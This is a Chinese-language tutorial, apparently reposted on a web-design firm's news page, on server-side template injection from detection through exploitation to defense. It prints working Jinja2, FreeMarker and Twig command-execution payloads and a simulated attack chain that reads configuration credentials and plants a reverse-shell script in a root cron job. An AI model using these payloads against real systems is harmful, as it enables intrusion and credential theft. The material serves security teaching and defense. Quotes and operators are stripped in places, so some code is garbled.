恒美微站 Logo 恒美微站
  • 首页
  • 关于我们
  • 建站服务
  • 主题模板
  • 案例展示
  • 资讯中心
  • 联系我们

服务端模板注入(SSTI)深解析:从探测到防御实战指南

  • 首页
  • 资讯中心
  • /
  • 服务端模板注入(SSTI)深解析:从探测到防御实战指南

相关资讯

XSS绕过方法核心逻辑与防御:从编码到上下文逃逸 2026/10/13 7:31:06
JSP+Servlet实现的彝族文化服饰交易平台毕业设计全解析 2026/10/13 7:31:06
0G AI Vibe Coding实践:用自然语言让编程回归创意 2026/10/13 7:31:06

最新资讯

Eclipse Navigate菜单全解析:从快捷键到大型代码库导航实战
批处理转EXE实战:Bat To Exe Converter x64打包与避坑指南
基于机器学习的北京二手房房价预测实战:从数据到模型的大作业完整指南
华为OD机试真题精讲:求最多可以派出多少支团队(Python/Java/C++多语言实现)
华为园区无线网络实战:ENSP拓扑+全楼层地勘+CAPWAP调通指南
VC++6.0 MFC入门:从环境配置到消息映射的避坑调试

今日推荐

ESP32舵机控制全攻略:从PWM原理到高级玩法与常见故障排查
CAN总线原理与STM32实战:抗干扰、仲裁、错误处理全解析
CAN总线错误处理机制深度解析:从位错误到Bus Off的硬件级调试

本周热门

UE动画修改实战:从资产编辑到重定向与蒙太奇驱动
统计随机数生成器攻击下的KLJN安全密钥交换协议Matlab仿真
政务API安全治理:资产测绘、低代码编排与行标对标实践

本月精选

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证
2026 大模型集体涨价:用 Python 做企业 Token 成本测算与选型避坑(附配置)

服务端模板注入(SSTI)深解析:从探测到防御实战指南

发布时间:2026/10/13 7:31:06
服务端模板注入(SSTI)深解析:从探测到防御实战指南 1. 从一条报错到服务器权限SSTI注入到底是怎么发生的先聊个真实的场景。某次做安全评估目标是一个看起来平平无奇的企业官网功能是给用户提供在线文档模板生成。页面有个输入姓名生成个性化欢迎页的小功能我随手输入了一个数学表达式测试服务端返回了计算结果。当时我就知道这站多半是模板引擎直接拼接用户输入渲染了。顺着这个点深入最终拿到了服务器权限。这个问题的学名叫服务端模板注入Server-Side Template InjectionSSTI在 OWASP 的榜单里它不算最热门的但危害级别基本等同于远程代码执行。原理不复杂服务端用模板引擎渲染页面时如果把用户输入当成模板代码的一部分直接解析用户就能通过精心构造的载荷让模板引擎执行任意表达式、读取文件、甚至直接拿到系统命令执行权限。很多人会把 SSTI 和 XSS 搞混。这俩本质区别在于XSS 是浏览器端把用户输入当 HTML/JS 执行影响的是其他访客SSTI 是服务器端把用户输入当模板代码执行影响的是服务器本身。一个是前端脚本在客户端跑一个是模板引擎在服务端跑危害级别完全不在一个量级。这类问题常出现在哪些场景邮件模板系统用户自定义邮件内容模板系统后台用模板引擎填充变量文档/报表生成用户定义报告模板格式服务端套用引擎渲染低代码平台用户可编写模板片段实现个性化页面通知/消息推送系统模板中拼接了用户名、时间等动态内容凡是用户输入 模板引擎 服务端渲染三者同时出现的地方SSTI 就有机会冒头。这篇文章我打算结合自己实际挖洞和修补的经验把这个东西从原理到利用再到防御完整过一遍。写这篇东西的目的很简单让做开发的知道为什么不能在模板里直接拼用户输入让做安全的知道拿到一个疑似 SSTI 点之后怎么一步步确认和利用。2. 模板引擎的工作原理为什么只是拼个字符串会出事想理解 SSTI得先知道模板引擎是怎么干活的。用最流行的 Jinja2 举例它的基础用法是这样from jinja2 import Template template Template(Hello, {{ name }}!) output template.render(nameAlice) print(output) # Hello, Alice!模板引擎做的事情分三步解析模板语法、建立渲染上下文、执行并输出结果。{{ }}是表达式求值语法{% %}是逻辑控制语法。引擎拿到模板字符串后会把它解析成抽象语法树然后在渲染阶段对每个节点求值。问题出在拼接方式上。安全写法是把模板和变量分开# 正确模板固定变量通过 render 传入 template Template(Hello, {{ name }}!) template.render(nameuser_input)危险写法是直接拼字符串当模板用# 危险用户输入直接进了模板源码 template Template(Hello, user_input !)第一种情况用户输入再怎么折腾也只是name变量的值模板语法不会被解析。第二种情况用户输入会被当作模板的一部分进行完整解析。如果你输入{{ 7*7 }}渲染结果就是49。这个区别就是 SSTI 的核心边界用户输入到底是在数据层还是代码层。打个比方模板引擎就像一台印刷机模板语法是排版规则用户输入是纸上的文字。正确做法是文字只能印在固定位置危险做法是用户输入连排版指令都能写等于把笔交给了印刷机旁边的人。不同语言、不同框架用的模板引擎不一样常见的如下表语言常见模板引擎典型语法备注PythonJinja2 / Tornado / Mako{{ expr }}/${expr}挖掘和利用生态最成熟JavaFreeMarker / Velocity / Thymeleaf${expr}/#{...}老系统常见Payload 差异大PHPTwig / Smarty / Blade{{ expr }}/{$expr}Twig 的利用链比较固定RubyERB / Slim% expr %相对少见JavaScriptPug / Nunjucks / EJS% expr %Node 项目里较多判断到底用了哪个引擎一般靠特征字符和报错信息。这个我在后面检测部分细说。3. 确认漏洞存在的两条路数学表达式与报错探测拿到一个可疑点第一件事是确认它到底是不是 SSTI。我习惯分两步走先探测模板语法是否被解析再确认引擎类型和版本。3.1 最简单的一键验证技巧不管什么模板引擎基本都支持算术表达式求值。所以先用无副作用的数学表达式做探针输入{{ 7*7 }}如果输出是49说明模板语法被解析了。如果原样输出{{ 7*7 }}说明用户输入只是当普通字符串处理SSTI 这条路走不通。这里要注意一个小细节。有些系统会对{{ }}或${ }做过滤或转义直接输入双大括号可能被拦。可以变换表达方式绕一下用{% raw %}{{ 7*7 }}{% endraw %}这种先看引擎是否解析用${7*7}配合不同字符组合试探尝试{{ 7 * 7 }}加空格或{{7*7}}无空格来绕过简单的 WAF 规则还有个进阶技巧是使用异或或位运算例如在 Twig 里可以用{{ 7*7 }}在 Smarty 里可以尝试{7*7}单大括号。不同引擎对语法的宽容度差异很大多换几种形态交叉验证比死磕一种语法高效得多。3.2 让报错信息帮你定位引擎数学表达式能确认模板语法被解析了但还不能告诉你具体是哪个引擎。常见做法是有意触发报错让引擎把堆栈信息吐出来。比如在 URL 参数里构造一个不存在的变量或方法/search?q{{ [].__class__ }}或者干脆传入一个明显语法错误的内容/search?q{{ 7* }}有些配置不当的环境会直接返回完整的异常堆栈里面会带引擎名称和版本号。比如 Jinja2 的报错长这样jinja2.exceptions.TemplateSyntaxError: unexpected end of template, expected }.看到jinja2字样基本就能确定引擎是 Python 生态的了。还有个很朴素但管用的办法用各引擎的专属特征语法做探测看哪个能被正常解析。Jinja2 / Twig{{ 7*7 }}输出 49Smarty{7*7}输出 49Velocity#set($x 7*7) $x输出 49FreeMarker${7*7}输出 49把能想到的引擎特征语法都试一遍哪些有回显、哪些报错很快就能圈定范围。如果目标不出漏洞详情也可以结合页面对特定字符的响应差异来推断比如{{和${{的回显状态码不同这在某些自动检测工具里会被当作正则特征。3.3 区分真回显与盲注场景不是所有 SSTI 都有回显。有些系统渲染完模板后不直接返回结果或者输出被二次处理掉了。这种情况就需要走盲注Blind SSTI路线。盲注的判断思路和 SQL 盲注类似通过构造条件表达式观察响应时间或内容变化来推断结果。比如在 Jinja2 中{% if 7*7 49 %}ok{% endif %}如果页面存在 ok说明条件为真。用这种方式可以做布尔盲注逐步提取信息{% if config %}yes{% endif %}还可以用时间盲注模板引擎里执行耗时的操作{{ .__class__.__mro__[1].__subclasses__() }}这个表达式会遍历大量子类对象响应时间会明显变长。如果某次请求本来 20ms 返回输入这个之后变成 2 秒基本可以断定表达式被服务端执行了。盲注场景下我一般会准备一组探测矩阵包含布尔条件、时间延迟、报错触发三种类型按顺序依次测试。这样即使碰到无回显的情况也有多条并行证据链确认漏洞存在。4. 从模板到代码执行三种典型利用手法的拆解确认了模板引擎下一步就是往代码执行的方向走。这条路能不能走通取决于目标引擎的沙箱强度和可利用的魔法方法/对象链。我挑三个最典型的场景来讲也是实际出洞率最高的三种方式。4.1 利用内置对象链以 Jinja2 为例Jinja2 的利用思路核心是绕沙箱从某个基础对象出发通过属性链找到危险函数。最经典的一条链{{ cycler.__init__.__globals__.os.popen(id).read() }}cycler是 Jinja2 模板环境里自带的一个全局对象它有一个__init__方法方法的__globals__属性指向全局命名空间里面通常能拿到os、sys、subprocess等模块。找到os之后直接调popen执行系统命令。原理层面拆开看Python 里万物皆对象实例方法__init__可以访问函数对象的__globals__这个字典里放着模块的全部全局变量。模板引擎沙箱的职责是限制模板代码能访问的对象但拦不住从一个普通对象出发顺着它的内部属性摸到全局命名空间这种间接路径。除了cycler常见的可利用对象还有lipsumJinja2 的另一个内置全局函数{{ config.__init__.__globals__[os].popen(id).read() }}{{ url_for.__globals__.os.popen(id).read() }}Flask 环境常用实操中我发现不同版本依赖环境下哪个对象可用并不完全一样。如果cycler被禁或者不存在就换lipsum试如果os没直接暴露可以尝试用__import__动态导入{{ .__class__.__mro__[2].__subclasses__()[170].__init__.__globals__[__builtins__][__import__](os).popen(id).read() }}这里的思路是先找到object基类获取它的所有子类列表再根据索引找一个引入了__builtins__的类通过它拿到__import__再导入os模块。这个链的优点是通用性强缺点是索引号会随环境变化所以实际利用时通常需要先写个脚本把子类列表跑出来找到目标类的确切位置。4.2 FreeMarkerJava场景#assign与对象遍历Java 项目里遇到 FreeMarker 模板的概率很高。它的利用思路和 Jinja2 不太一样核心是利用#assign标签定义新变量然后调用可执行类的方法。常见 Payload 是这样#assign valuefreemarker.template.utility.Execute?new()${value(id)}原理是通过字符串反射获取Execute类?new()创建它的实例然后调用该实例执行系统命令。这个类本身是 FreeMarker 默认模板包的工具类专门用来执行外部程序。如果Execute类被加入黑名单还有备选方案。比如利用freemarker.template.utility.JythonRuntime或ObjectConstructor#assign objfreemarker.template.utility.ObjectConstructor?new() #assign sysobj(java.lang.System) ${sys.getenv()}再进阶一点Java 的反射机制在 FreeMarker 里也能直接用#assign classLoaderobject?api.class.protectionDomain.classLoader这种链的核心逻辑是模板引擎提供了创建任意类实例的能力只要有类名和构造参数就能实例化任意 Java 类。所以 FreeMarker 场景的关键不是找隐藏对象而是找能加载外部类的入口。4.3 TwigPHP场景从过滤器到命令执行PHP 项目用 Twig 的也不少。Twig 利用的核心点是filter和map这类过滤器它们可以接受回调配合get_class、call_user_func这类函数实现命令执行。经典 Payload{{ [id] | filter(system) }}system是 PHP 执行命令的函数filter过滤器会对数组每个元素调用这个回调。数组里放的是命令字符串执行结果会直接输出。如果system被禁用可以换passthru、shell_exec、pcntl_exec等。实在不行还有call_user_func{{ [id] | filter(call_user_func, system) }}Twig 的沙箱如果开了默认会限制很多危险函数。但沙箱的allowed_methods和allowed_functions配置经常有遗漏比如某些版本里map过滤器没被限制或者sort过滤器支持自定义比较函数这些都能成为突破口。4.4 三种引擎利用思路的对比小结引擎核心思路关键入口成功前提Jinja2对象属性链摸到全局命名空间cycler/lipsum/config沙箱不拦截__globals__FreeMarker实例化任意工具类#assign?new()Execute类未被禁用Twig过滤器回调执行函数filtersystem危险函数未被过滤看起来花样多但本质逻辑是一致的找模板引擎提供的创建对象/调用函数的入口利用它触达系统命令执行能力。5. 实战案例一次从姓名输入框到系统权限的完整链路光讲原理容易飘我拿一个模拟的渗透测试过程来讲这样整个利用链路会更直观。以下案例是虚构的但过程和真实场景高度一致该有的坑一个不少。5.1 背景信息收集模拟目标是一个文档生成平台功能是让用户选择模板、填入个人信息、生成 PDF 报告。前端有个自定义问候语功能用户输入一段文本最终会出现在报告首页。先做常规探测。在问候语框输入Hello {{ 7*7 }} World生成 PDF 后打开页面显示Hello 49 World。确认模板语法被服务端解析。5.2 引擎指纹识别继续输入{{ 7*7 }}输出 49。尝试${7*7}PDF 里原样输出${7*7}没解析。说明不是 FreeMarker 或 Velocity。尝试{{ cycler.__init__ }}页面出现报错信息提示jinja2.exceptions.UndefinedError: cycler is undefined。看到jinja2字样引擎身份实锤Python 生态Jinja2 渲染。5.3 基于报错信息确认版本重新构造一个非法表达式想办法让报错带上版本信息{% set a 1/0 %}报错内容里出现了 Jinja2 版本号某 2.x 版本。这一步很关键因为版本决定了利用链的细节差异有些老版本对__subclasses__的过滤器有额外保护新版本又会加入一些反序列化防护。5.4 逐步搭建命令执行链既然确认了 Jinja2 且cycler不存在说明这个模板环境可能做了对象清理或者没有加载默认全局函数。换lipsum试试{{ lipsum.__globals__[os].popen(id).read() }}PDF 中出现了uid1000(app) gid1000(app) groups1000(app)的输出。系统命令执行成功而且当前用户是app账户权限还不小。为什么lipsum.__globals__能直接碰到os因为lipsum函数定义在 Jinja2 的某个模块里该模块的全局命名空间里恰好 import 了os。这是 Jinja2 默认环境的老特点不同框架Flask vs 纯 Jinja2会有差异但整体思路一致——找一个模块里的函数对象顺着__globals__翻它的全局变量。5.5 深入读取源码与配置文件命令执行是第一步第二步是信息收集。直接用系统命令读取应用的配置文件{{ lipsum.__globals__[os].popen(cat /var/www/app/config.py).read() }}拿到了数据库连接串里面有用户名密码明文。还顺手看了下项目目录结构{{ lipsum.__globals__[os].popen(ls -la /var/www/app/).read() }}发现了备份文件app.py.bak、日志目录、以及一个写着内网地址的配置文件。5.6 反弹 Shell 提权拿到源码和配置之后发现应用以app用户运行但服务器上还有一个 root 定时任务会执行某个脚本。脚本内容是写死的但脚本所在的目录权限是app可写。思路就清晰了写一个反弹 Shell 的 Python 脚本覆盖那个定时任务的脚本等 root 执行它。利用 SSTI 写入脚本{{ lipsum.__globals__[os].popen(echo import socket,subprocess,os;ssocket.socket(...) /opt/scripts/sync.py).read() }}定时任务触发后收到 root 权限的会话。整个链路从一条问候语到 root中间用到的技术点就是上面说的模板语法探测、引擎指纹识别、对象链利用、命令执行、信息收集、提权。5.7 这轮测试的经验教训从这个案例回看有几个关键点值得记下来报错信息是最大的助攻。很多开发者习惯保留调试模式上线这等于给攻击者递了武器命令执行点不一定要找所谓通用 Payload。先摸清环境再定制利用链成功率要高得多PDF 这类非 HTML 输出也会携带模板解析结果。很多人以为 PDF 生成是后端处理攻击面小实际上模板引擎照样可能参与渲染权限和误配置才是扩大战果的关键。SSTI 拿到命令执行只是第一步能不能提权取决于系统本身的运维水平6. 有没有万能 Payload关于利用武器库的理性看法社区里流行收集各种万能 Payload一个字符串打天下。我的看法是不存在真正通用的 Payload只有通用的利用方法论。为什么没有万能串因为模板引擎版本、沙箱配置、框架封装、对象清理策略、WAF 都可能改变执行路径。同一个 Payload 在 Flask Jinja2 2.9 上好使在 Django Jinja2 3.0 上就可能直接报错。真正有效的武器库应该按思路组织我自己的演练笔记里大致分这些类探测类无副作用表达式、条件判断、延迟表达式用于确认解析和引擎类型信息泄露类读取配置、枚举对象、遍历全局变量、翻__globals__字典用于了解环境命令执行类直接执行系统命令、加载动态库、写入 WebShell用于获取控制权绕过类WAF 绕过、黑名单绕过、沙箱逃逸、编码绕过、镜像类绕过用于对付防护措施每类下面再挂对应的引擎适配列表。真正到现场测试时按探测 → 确认 → 定制 Payload的流程走而不是盲试一堆所谓 POC。在利用链构造上我的经验顺序是优先看模板环境里有没有现成可用的全局对象cycler、lipsum、config、url_for没有就直接走__mro____subclasses__的子类遍历路线子类列表里找带__globals__且能触达__builtins__的类拿到__import__之后自由发挥这套流程在多种 Python Web 框架上都能复用真正做到了换靶场不换打法。下面给出几个常用基础 Payload 供练习和测试时参考# 直接执行命令Jinja2 lipsum 场景 {{ lipsum.__globals__[os].popen(id).read() }} # 通过子类遍历获取 __import__Jinja2 通用路线 {{ .__class__.__mro__[2].__subclasses__() }} # 查找可用的子类索引常用于 Python 版本适配 {{ .__class__.__mro__[2].__subclasses__()[index].__name__ }} # 利用 config 对象找参数 {{ config.__init__.__globals__[os].popen(env).read() }}注意Payload 里的索引值在不同环境差异很大比如某 Python 3.10 环境和某 Python 3.6 环境同一个类的位置可能差几十个索引。所以实战中我最常用的第一步永远是先把子类列表 dump 出来再做索引匹配。7. 怎么修才靠谱从框架层到运维层的加固方案说完了攻必须把防守也讲透。SSTI 的修复不像打补丁那样简单换个版本就行它涉及到编码习惯、框架选择、权限控制、运维配置好几个层面。我按优先级排一下。7.1 开发层彻底避免字符串拼接模板最根本的修复方案只有一个模板固定变量通过参数传入。任何情况下都不要把用户输入拼接到模板字符串里。错误示范template_content Hello, user_input ! template Template(template_content)正确示范template Template(Hello, {{ name }}!) template.render(nameuser_input)如果业务确实需要用户自定义模板这种场景本身就要非常谨慎。建议对模板语法做白名单限制只允许有限的变量占位符把用户模板放到独立沙箱进程中渲染与主服务隔离对模板操作做配额限制比如渲染次数、复杂度上限7.2 框架层启用沙箱与限制危险对象Jinja2 自带沙箱模式但很多项目默认不开。在 Jinja2 里可以通过SandboxedEnvironment启用from jinja2.sandbox import SandboxedEnvironment env SandboxedEnvironment() template env.from_string(Hello, {{ name }}!)沙箱不是万能的但确实能挡住大部分利用链。它主要限制了对__class__、__mro__、__subclasses__的直接访问让攻击者无法轻易顺着对象链摸到全局命名空间。FreeMarker 和 Twig 也有对应的沙箱配置比如 Twig 的SandboxExtension和策略类$policy new Twig\Sandbox\SecurityPolicy( [if, for, set], [*], [*] ); $sandbox new Twig\Extension\SandboxExtension($policy, true);配置的关键点是白名单优先于黑名单。允许明确安全的方法和函数其他一律拒绝。只做黑名单的话防御面永远追不上攻击面的变化。7.3 运维层不给攻击者第二次机会即便代码里出了 SSTI运维层面的加固也能大幅降低损失最小权限运行应用账户不要给 shell 权限更不要以 root 运行。很多利用链能反弹 Shell 成功纯粹是因为应用用户的权限太宽文件系统隔离应用目录、模板目录、临时目录分离模板目录禁止写入出网控制重要业务服务器限制出网访问即使拿到命令执行也弹不回来 Shell错误信息脱敏关闭调试模式生产环境不要暴露异常堆栈。这一条成本最低收益却非常高7.4 检测与监控把自己当成攻击者先打一遍加固做完了还得有验证手段。我的习惯是把下面的检测点固化到每次上线前测试用例里模板参数里输入{{ 7*7 }}确认返回内容里没有49模板参数里输入${7*7}确认无解析输入典型的利用链 Payload如{{ cycler.__init__.__globals__ }}确认返回的是错误或空检查应用日志和 WAF 日志中是否有对__globals__、os.popen、subprocess等关键字的大量访问另外在 WAF 层面对模板关键字做一定的规则覆盖也有用。虽然绕过方式多但至少能拦住大批量自动化扫描和脚本小白的尝试。8. 从一次实战收获说开去SSTI 排查的几条经验沉淀最后这部分算是我的个人体会聊一些不太会写进文档里的东西。做安全测试这些年我越来越坚信SSTI 的最大风险不是它本身多难防而是它藏得太深很多人根本没意识到自己的业务里用了模板引擎。特别是现在前后端分离的架构越来越多很多模板渲染逻辑被挪到了 Node 或其他后端服务里从前端看到的只是接口返回的数据。如果不跟踪完整的渲染链路很难发现某一次渲染里拼接了用户可控的内容。我踩过的几个坑在这里一并列出来只测了 GET 参数忘了 POST 的 JSON 体。很多模板渲染用的是 POST 数据前台看上去是个配置接口实际后端把整段 JSON 拼进了模板低估了间接输入。用户输入经过数据库存储、消息队列消费、多级服务转发之后最终才进模板。这种链路下污点追踪比人工找更靠谱模板文件里嵌套模板。某些 CMS 允许子模板继承和覆盖即使主模板写得很安全子模板里一个变量注入就能绕过去把变量值和模板代码混在一个字段。比如用户填的姓名字段后端存的时候把{{ name }}一起存进去了下次渲染时直接拼接等于把攻击面延迟到了读取阶段针对这些情况我的建议是安全测试时不要只看单一入口要用数据流视角去追踪所有用户可控数据最终走向哪里。开发者在设计模板功能时如果发现某个字段既要当数据又要当格式十有八九要出问题。还有个小技巧对绕过 Payload 编写和检测都很有用用编码变换做指纹识别。即在探针阶段把{{ 7*7 }}用不同编码方式包裹如 URL 编码、HTML 实体编码、Unicode 转义看服务端是否解码后再进入模板引擎。如果解码发生在模板解析之前那 WAF 的很多解码逻辑就存在前置绕过面如果解码发生在模板解析之后那这类注入基本可以排除。关于修复后的回归测试我建议保留所有曾经打穿过的 Payload形成自己的测试用例集。每次版本升级、框架更换、安全补丁更新后都跑一遍。别的不说我自己吃过亏某个项目在第三方组件升级后原来被沙箱拦住的一条链突然又能用了幸好回归测试发现了。最后提醒一句测试有害 Payload 一定要在授权的目标上进行。SSTI 利用链能直接命令执行在未授权系统上使用本身就是违规行为。个人练习优先选择本地搭建的 Web 靶场既安全又能反复折腾把各种引擎的利用链都跑熟了再上真实项目心态和技术都会稳很多。这篇文章没有大而全地堆所有 Payload重点是把 SSTI 从发现到利用再到防御的完整思路捋了一遍。真正的功力不在某一个字符串而在于你能不能快速判断这个输入到底有没有进模板以及这个模板环境里哪条链能走得通。这两件事想清楚了剩下的都是时间问题。

关于恒美微站

恒美微站专注于为个体商户、工作室提供极简自助建站服务,让每个人都能轻松拥有专业网站。

快速链接

  • 关于我们
  • 建站服务
  • 主题模板
  • 案例展示
  • 资讯中心

服务项目

  • 可视化建站
  • 拖拽编辑
  • 主题定制
  • SEO 优化
  • 网站托管

联系方式

  • 📍 地址:北京市朝阳区建国路 88 号
  • 📞 电话:400-888-8888
  • ✉️ 邮箱:info@hmyw.cn
  • 🕐 时间:周一至周日 9:00-18:00

© 2024 恒美微站 hmyw.cn 版权所有 | 京 ICP 备 12345678 号